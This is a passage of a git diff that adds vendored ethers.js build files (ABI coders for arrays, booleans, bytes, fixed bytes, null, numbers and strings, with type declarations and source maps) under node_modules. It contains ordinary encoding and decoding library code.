+++ b/node_modules/ethers/lib.esm/abi/coders/array.js @@ -0,0 +1,159 @@ +import { defineProperties, isError, assert, assertArgument, assertArgumentCount } from "../../utils/index.js"; +import { Typed } from "../typed.js"; +import { Coder, Result, WordSize, Writer } from "./abstract-coder.js"; +import { AnonymousCoder } from "./anonymous.js"; +/** + * @_ignore + */ +export function pack(writer, coders, values) { + let arrayValues = []; + if (Array.isArray(values)) { + arrayValues = values; + } + else if (values && typeof (values) === "object") { + let unique = {}; + arrayValues = coders.map((coder) => { + const name = coder.localName; + assert(name, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + assert(!unique[name], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + unique[name] = true; + return values[name]; + }); + } + else { + assertArgument(false, "invalid tuple value", "tuple", values); + } + assertArgument(coders.length === arrayValues.length, "types/value length mismatch", "tuple", values); + let staticWriter = new Writer(); + let dynamicWriter = new Writer(); + let updateFuncs = []; + coders.forEach((coder, index) => { + let value = arrayValues[index]; + if (coder.dynamic) { + // Get current dynamic offset (for the future pointer) + let dynamicOffset = dynamicWriter.length; + // Encode the dynamic value into the dynamicWriter + coder.encode(dynamicWriter, value); + // Prepare to populate the correct offset once we are done + let updateFunc = staticWriter.writeUpdatableValue(); + updateFuncs.push((baseOffset) => { + updateFunc(baseOffset + dynamicOffset); + }); + } + else { + coder.encode(staticWriter, value); + } + }); + // Backfill all the dynamic offsets, now that we know the static length + updateFuncs.forEach((func) => { func(staticWriter.length); }); + let length = writer.appendWriter(staticWriter); + length += writer.appendWriter(dynamicWriter); + return length; +} +/** + * @_ignore + */ +export function unpack(reader, coders) { + let values = []; + let keys = []; + // A reader anchored to this base + let baseReader = reader.subReader(0); + coders.forEach((coder) => { + let value = null; + if (coder.dynamic) { + let offset = reader.readIndex(); + let offsetReader = baseReader.subReader(offset); + try { + value = coder.decode(offsetReader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + else { + try { + value = coder.decode(reader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + if (value == undefined) { + throw new Error("investigate"); + } + values.push(value); + keys.push(coder.localName || null); + }); + return Result.fromItems(values, keys); +} +/** + * @_ignore + */ +export class ArrayCoder extends Coder { + coder; + length; + constructor(coder, length, localName) { + const type = (coder.type + "[" + (length >= 0 ? length : "") + "]"); + const dynamic = (length === -1 || coder.dynamic); + super("array", type, localName, dynamic); + defineProperties(this, { coder, length }); + } + defaultValue() { + // Verifies the child coder is valid (even if the array is dynamic or 0-length) + const defaultChild = this.coder.defaultValue(); + const result = []; + for (let i = 0; i < this.length; i++) { + result.push(defaultChild); + } + return result; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "array"); + if (!Array.isArray(value)) { + this._throwError("expected array value", value); + } + let count = this.length; + if (count === -1) { + count = value.length; + writer.writeValue(value.length); + } + assertArgumentCount(value.length, count, "coder array" + (this.localName ? (" " + this.localName) : "")); + let coders = []; + for (let i = 0; i < value.length; i++) { + coders.push(this.coder); + } + return pack(writer, coders, value); + } + decode(reader) { + let count = this.length; + if (count === -1) { + count = reader.readIndex(); + // Check that there is *roughly* enough data to ensure + // stray random data is not being read as a length. Each + // slot requires at least 32 bytes for their value (or 32 + // bytes as a link to the data). This could use a much + // tighter bound, but we are erroring on the side of safety. + assert(count * WordSize <= reader.dataLength, "insufficient data length", "BUFFER_OVERRUN", { buffer: reader.bytes, offset: count * WordSize, length: reader.dataLength }); + } + let coders = []; + for (let i = 0; i < count; i++) { + coders.push(new AnonymousCoder(this.coder)); + } + return unpack(reader, coders); + } +} +//# sourceMappingURL=array.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/array.js.map b/node_modules/ethers/lib.esm/abi/coders/array.js.map new file mode 100644 index 000000000000..5cab086f92e4 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/array.js.map @@ -0,0 +1 @@ +{"version":3,"file":"array.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/array.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,EACpE,gBAAgB,EAAE,EAAE,MAAM,EAAE,MAAM,CAAC,KAAK,EAAE,MAAM,EAAE,KAAK,GAAG,QAAQ,EAAE,MAAM,EAAE,MAAM,CAAC,UAAU,EAAE,CAAC,CAAC;SACxG;QACD,IAAI,MAAM,GAAiB,EAAE,CAAC;QAC9B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,EAAE,CAAC,EAAE,EAAE;YAAE,MAAM,CAAC,IAAI,CAAC,IAAI,cAAc,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC;SAAE;QAEhF,OAAO,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAClC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts b/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts new file mode 100644 index 000000000000..f073e37ee7c0 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class BooleanCoder extends Coder { + constructor(localName: string); + defaultValue(): boolean; + encode(writer: Writer, _value: boolean | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=boolean.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts.map new file mode 100644 index 000000000000..b1b5811eb035 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/boolean.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"boolean.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/boolean.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;GAEG;AACH,qBAAa,YAAa,SAAQ,KAAK;gBAEvB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,OAAO;IAIvB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,GAAG,KAAK,GAAG,MAAM;IAKvD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/boolean.js b/node_modules/ethers/lib.esm/abi/coders/boolean.js new file mode 100644 index 000000000000..3992319f7c8e --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/boolean.js @@ -0,0 +1,21 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +/** + * @_ignore + */ +export class BooleanCoder extends Coder { + constructor(localName) { + super("bool", "bool", localName, false); + } + defaultValue() { + return false; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "bool"); + return writer.writeValue(value ? 1 : 0); + } + decode(reader) { + return !!reader.readValue(); + } +} +//# sourceMappingURL=boolean.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/boolean.js.map b/node_modules/ethers/lib.esm/abi/coders/boolean.js.map new file mode 100644 index 000000000000..52b0ce29d7c4 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/boolean.js.map @@ -0,0 +1 @@ +{"version":3,"file":"boolean.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/boolean.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAI5C;;GAEG;AACH,MAAM,OAAO,YAAa,SAAQ,KAAK;IAEnC,YAAY,SAAiB;QACzB,KAAK,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,YAAY;QACR,OAAO,KAAK,CAAC;IACjB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAuB;QAC1C,MAAM,KAAK,GAAG,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;QAChD,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAA,CAAC,CAAC,CAAC,CAAC,CAAC;IAC3C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,CAAC,CAAC,MAAM,CAAC,SAAS,EAAE,CAAC;IAChC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts b/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts new file mode 100644 index 000000000000..1e554582f474 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts @@ -0,0 +1,19 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class DynamicBytesCoder extends Coder { + constructor(type: string, localName: string); + defaultValue(): string; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +/** + * @_ignore + */ +export declare class BytesCoder extends DynamicBytesCoder { + constructor(localName: string); + decode(reader: Reader): any; +} +//# sourceMappingURL=bytes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts.map new file mode 100644 index 000000000000..f169616717b5 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/bytes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/bytes.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,iBAAkB,SAAQ,KAAK;gBAC5B,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAI3C,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAO1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B;AAED;;GAEG;AACH,qBAAa,UAAW,SAAQ,iBAAiB;gBACjC,SAAS,EAAE,MAAM;IAI7B,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/bytes.js b/node_modules/ethers/lib.esm/abi/coders/bytes.js new file mode 100644 index 000000000000..01aad879d413 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/bytes.js @@ -0,0 +1,34 @@ +import { getBytesCopy, hexlify } from "../../utils/index.js"; +import { Coder } from "./abstract-coder.js"; +/** + * @_ignore + */ +export class DynamicBytesCoder extends Coder { + constructor(type, localName) { + super(type, type, localName, true); + } + defaultValue() { + return "0x"; + } + encode(writer, value) { + value = getBytesCopy(value); + let length = writer.writeValue(value.length); + length += writer.writeBytes(value); + return length; + } + decode(reader) { + return reader.readBytes(reader.readIndex(), true); + } +} +/** + * @_ignore + */ +export class BytesCoder extends DynamicBytesCoder { + constructor(localName) { + super("bytes", localName); + } + decode(reader) { + return hexlify(super.decode(reader)); + } +} +//# sourceMappingURL=bytes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/bytes.js.map b/node_modules/ethers/lib.esm/abi/coders/bytes.js.map new file mode 100644 index 000000000000..d3462ecf4271 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/bytes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/bytes.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAC;AAE7D,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAK5C;;GAEG;AACH,MAAM,OAAO,iBAAkB,SAAQ,KAAK;IACxC,YAAY,IAAY,EAAE,SAAiB;QACxC,KAAK,CAAC,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;IACtC,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,KAAK,GAAG,YAAY,CAAC,KAAK,CAAC,CAAC;QAC5B,IAAI,MAAM,GAAG,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAC7C,MAAM,IAAI,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;QACnC,OAAO,MAAM,CAAC;IAClB,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,MAAM,CAAC,SAAS,CAAC,MAAM,CAAC,SAAS,EAAE,EAAE,IAAI,CAAC,CAAC;IACtD,CAAC;CACJ;AAED;;GAEG;AACH,MAAM,OAAO,UAAW,SAAQ,iBAAiB;IAC7C,YAAY,SAAiB;QACzB,KAAK,CAAC,OAAO,EAAE,SAAS,CAAC,CAAC;IAC9B,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,OAAO,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC;IACzC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts new file mode 100644 index 000000000000..5c485fef6673 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts @@ -0,0 +1,15 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { BytesLike } from "../../utils/index.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class FixedBytesCoder extends Coder { + readonly size: number; + constructor(size: number, localName: string); + defaultValue(): string; + encode(writer: Writer, _value: BytesLike | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=fixed-bytes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts.map new file mode 100644 index 000000000000..fcf0893d8ced --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fixed-bytes.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/fixed-bytes.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,eAAgB,SAAQ,KAAK;IACtC,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;gBAEX,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAM3C,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,SAAS,GAAG,KAAK,GAAG,MAAM;IAMzD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js new file mode 100644 index 000000000000..08dd20b6b2be --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js @@ -0,0 +1,28 @@ +import { defineProperties, getBytesCopy, hexlify } from "../../utils/index.js"; +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +/** + * @_ignore + */ +export class FixedBytesCoder extends Coder { + size; + constructor(size, localName) { + let name = "bytes" + String(size); + super(name, name, localName, false); + defineProperties(this, { size }, { size: "number" }); + } + defaultValue() { + return ("0x0000000000000000000000000000000000000000000000000000000000000000").substring(0, 2 + this.size * 2); + } + encode(writer, _value) { + let data = getBytesCopy(Typed.dereference(_value, this.type)); + if (data.length !== this.size) { + this._throwError("incorrect data length", _value); + } + return writer.writeBytes(data); + } + decode(reader) { + return hexlify(reader.readBytes(this.size)); + } +} +//# sourceMappingURL=fixed-bytes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js.map b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js.map new file mode 100644 index 000000000000..bb22c492539f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/fixed-bytes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fixed-bytes.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/fixed-bytes.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAC;AAE/E,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAO5C;;GAEG;AACH,MAAM,OAAO,eAAgB,SAAQ,KAAK;IAC7B,IAAI,CAAU;IAEvB,YAAY,IAAY,EAAE,SAAiB;QACvC,IAAI,IAAI,GAAG,OAAO,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC;QAClC,KAAK,CAAC,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;QACpC,gBAAgB,CAAkB,IAAI,EAAE,EAAE,IAAI,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC,CAAC;IAC1E,CAAC;IAED,YAAY;QACR,OAAO,CAAC,oEAAoE,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC;IAClH,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAyB;QAC5C,IAAI,IAAI,GAAG,YAAY,CAAC,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;QAC9D,IAAI,IAAI,CAAC,MAAM,KAAK,IAAI,CAAC,IAAI,EAAE;YAAE,IAAI,CAAC,WAAW,CAAC,uBAAuB,EAAE,MAAM,CAAC,CAAC;SAAE;QACrF,OAAO,MAAM,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC;IACnC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,OAAO,CAAC,MAAM,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;IAChD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/null.d.ts b/node_modules/ethers/lib.esm/abi/coders/null.d.ts new file mode 100644 index 000000000000..5df5da34257e --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/null.d.ts @@ -0,0 +1,12 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class NullCoder extends Coder { + constructor(localName: string); + defaultValue(): null; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=null.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/null.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/null.d.ts.map new file mode 100644 index 000000000000..4c87b845506b --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/null.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"null.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/null.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAC5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAI1D;;GAEG;AACH,qBAAa,SAAU,SAAQ,KAAK;gBAEpB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,IAAI;IAIpB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAK1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAI9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/null.js b/node_modules/ethers/lib.esm/abi/coders/null.js new file mode 100644 index 000000000000..5b7d867a4422 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/null.js @@ -0,0 +1,24 @@ +import { Coder } from "./abstract-coder.js"; +const Empty = new Uint8Array([]); +/** + * @_ignore + */ +export class NullCoder extends Coder { + constructor(localName) { + super("null", "", localName, false); + } + defaultValue() { + return null; + } + encode(writer, value) { + if (value != null) { + this._throwError("not null", value); + } + return writer.writeBytes(Empty); + } + decode(reader) { + reader.readBytes(0); + return null; + } +} +//# sourceMappingURL=null.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/null.js.map b/node_modules/ethers/lib.esm/abi/coders/null.js.map new file mode 100644 index 000000000000..6afd520c94d2 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/null.js.map @@ -0,0 +1 @@ +{"version":3,"file":"null.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/null.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAG5C,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,EAAG,CAAC,CAAC;AAElC;;GAEG;AACH,MAAM,OAAO,SAAU,SAAQ,KAAK;IAEhC,YAAY,SAAiB;QACzB,KAAK,CAAC,MAAM,EAAE,EAAE,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IACxC,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,IAAI,KAAK,IAAI,IAAI,EAAE;YAAE,IAAI,CAAC,WAAW,CAAC,UAAU,EAAE,KAAK,CAAC,CAAC;SAAE;QAC3D,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;QACpB,OAAO,IAAI,CAAC;IAChB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/number.d.ts b/node_modules/ethers/lib.esm/abi/coders/number.d.ts new file mode 100644 index 000000000000..822cc6df2576 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/number.d.ts @@ -0,0 +1,16 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { BigNumberish } from "../../utils/index.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class NumberCoder extends Coder { + readonly size: number; + readonly signed: boolean; + constructor(size: number, signed: boolean, localName: string); + defaultValue(): number; + encode(writer: Writer, _value: BigNumberish | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=number.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/number.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/number.d.ts.map new file mode 100644 index 000000000000..a02820f643f4 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/number.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"number.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/number.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAY,MAAM,qBAAqB,CAAC;AAEtD,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,sBAAsB,CAAC;AAEzD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAO1D;;GAEG;AACH,qBAAa,WAAY,SAAQ,KAAK;IAClC,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;IACvB,QAAQ,CAAC,MAAM,EAAG,OAAO,CAAC;gBAEd,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM;IAO5D,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,YAAY,GAAG,KAAK,GAAG,MAAM;IAkB5D,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAS9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/number.js b/node_modules/ethers/lib.esm/abi/coders/number.js new file mode 100644 index 000000000000..52f5a46bb97f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/number.js @@ -0,0 +1,45 @@ +import { defineProperties, fromTwos, getBigInt, mask, toTwos } from "../../utils/index.js"; +import { Typed } from "../typed.js"; +import { Coder, WordSize } from "./abstract-coder.js"; +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * @_ignore + */ +export class NumberCoder extends Coder { + size; + signed; + constructor(size, signed, localName) { + const name = ((signed ? "int" : "uint") + (size * 8)); + super(name, name, localName, false); + defineProperties(this, { size, signed }, { size: "number", signed: "boolean" }); + } + defaultValue() { + return 0; + } + encode(writer, _value) { + let value = getBigInt(Typed.dereference(_value, this.type)); + // Check bounds are safe for encoding + let maxUintValue = mask(BN_MAX_UINT256, WordSize * 8); + if (this.signed) { + let bounds = mask(maxUintValue, (this.size * 8) - 1); + if (value > bounds || value < -(bounds + BN_1)) { + this._throwError("value out-of-bounds", _value); + } + value = toTwos(value, 8 * WordSize); + } + else if (value < BN_0 || value > mask(maxUintValue, this.size * 8)) { + this._throwError("value out-of-bounds", _value); + } + return writer.writeValue(value); + } + decode(reader) { + let value = mask(reader.readValue(), this.size * 8); + if (this.signed) { + value = fromTwos(value, this.size * 8); + } + return value; + } +} +//# sourceMappingURL=number.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/number.js.map b/node_modules/ethers/lib.esm/abi/coders/number.js.map new file mode 100644 index 000000000000..5ecd80d4b81f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/number.js.map @@ -0,0 +1 @@ +{"version":3,"file":"number.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/number.ts"],"names":[],"mappings":"AAAA,OAAO,EACH,gBAAgB,EAAE,QAAQ,EAAE,SAAS,EAAE,IAAI,EAAE,MAAM,EACtD,MAAM,sBAAsB,CAAC;AAE9B,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,qBAAqB,CAAC;AAOtD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,cAAc,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEpG;;GAEG;AACH,MAAM,OAAO,WAAY,SAAQ,KAAK;IACzB,IAAI,CAAU;IACd,MAAM,CAAW;IAE1B,YAAY,IAAY,EAAE,MAAe,EAAE,SAAiB;QACxD,MAAM,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,KAAK,CAAA,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC;QACrD,KAAK,CAAC,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;QAEpC,gBAAgB,CAAc,IAAI,EAAE,EAAE,IAAI,EAAE,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,MAAM,EAAE,SAAS,EAAE,CAAC,CAAC;IACjG,CAAC;IAED,YAAY;QACR,OA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ers/lib.esm/abi/coders/string.d.ts b/node_modules/ethers/lib.esm/abi/coders/string.d.ts new file mode 100644 index 000000000000..8e1c6359336f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/string.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { DynamicBytesCoder } from "./bytes.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class StringCoder extends DynamicBytesCoder { + constructor(localName: string); + defaultValue(): string; + encode(writer: Writer, _value: string | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=string.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/string.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/string.d.ts.map new file mode 100644 index 000000000000..8141f2ea3ae2 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/string.d.ts.map @@ -0,0 +1 @@ 